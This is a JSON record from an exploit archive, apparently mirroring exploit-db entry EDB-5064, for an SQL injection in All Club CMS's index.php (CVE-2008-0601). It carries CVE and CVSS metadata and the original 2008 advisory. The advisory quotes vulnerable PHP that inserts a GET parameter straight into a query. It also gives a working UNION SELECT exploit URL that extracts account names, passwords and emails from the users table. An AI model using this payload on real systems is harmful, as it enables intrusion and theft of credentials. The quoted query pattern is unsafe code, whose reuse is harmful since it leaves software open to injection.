{"exploit":{"id":"EDB-5064","name":"All Club CMS 0.0.2 - 'index.php' SQL Injection (SQLi)","description":"All Club CMS 0.0.2 - 'index.php' SQL Injection (SQLi)","cves":["CVE-2008-0601"],"author":"ka0x","published":"2008-02-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5064","path":"exploits/php/webapps/5064.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5064.txt","vulnerabilities":[{"id":"CVE-2008-0601","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in All Club CMS (ACCMS) 0.0.1f and earlier allows remote attackers to execute arbitrary SQL commands via the name parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0601","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0601"},"updatedAt":"2024-08-07T07:54:21.669Z","retrievedAt":"2026-11-26T23:06:16.265Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5064.png?v=2","url":"https://exploitbin.com/exploits/EDB-5064","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5064/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5064/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n All Club CMS <= 0.0.1f index.php Remote SQL Injection Vulnerability\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n\nbug found by ka0x\nD.O.M TEAM 2008\nwe are: ka0x, an0de, xarnuz\nhttp://www.domlabs.org/\n\nScript affected: All Club CMS\nVulnerability: Remote SQL Injection\n\nDownload: http://sourceforge.net/project/showfiles.php?group_id=209058\nneed magic_quotes_gpc = off\n\n\nvuln code:\n\n[...]\n\nif (isset($_GET['name']) && (!(empty($_GET['name'])))) {\n\n  $name = $_GET['name'];\n  $name = stripslashes($name);\n  // stop hackers\n  if (eregi(\"http\\:\\/\\/\", $name)) {\n      echo \"<br />&nbsp;&nbsp;No go on the hack attempt.<br />\";\n      // log attempt, from IP, etc.\n      if ($SYS_SET['ban_attack_ip']) {\n        // ban ip if ban_attack_ip\n      }\n    die();\n  }\n\n  $sth = $dbh->prepare(\"SELECT * FROM accms_modules WHERE name='$name'\");\n\n[...]\n\n\nStripslashes function only deletes backslashes (\\) and the backslashes\ndoubles (\\\\) becomes simple (\\).\n\n\nExploit:\nhttp://[host]/accms_path/index.php?name=-1'/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*\n\n\n__EOF__\n\n# milw0rm.com [2008-02-05]","sha256":"09970899fcb3f8291771d9a3287932d96f18c782e2ea7943a7e99bc2213c7b63","bytes":1260,"fetchedAt":"2026-11-26T23:06:13.287Z","encoding":"utf-8 (display only; download retains original bytes)"}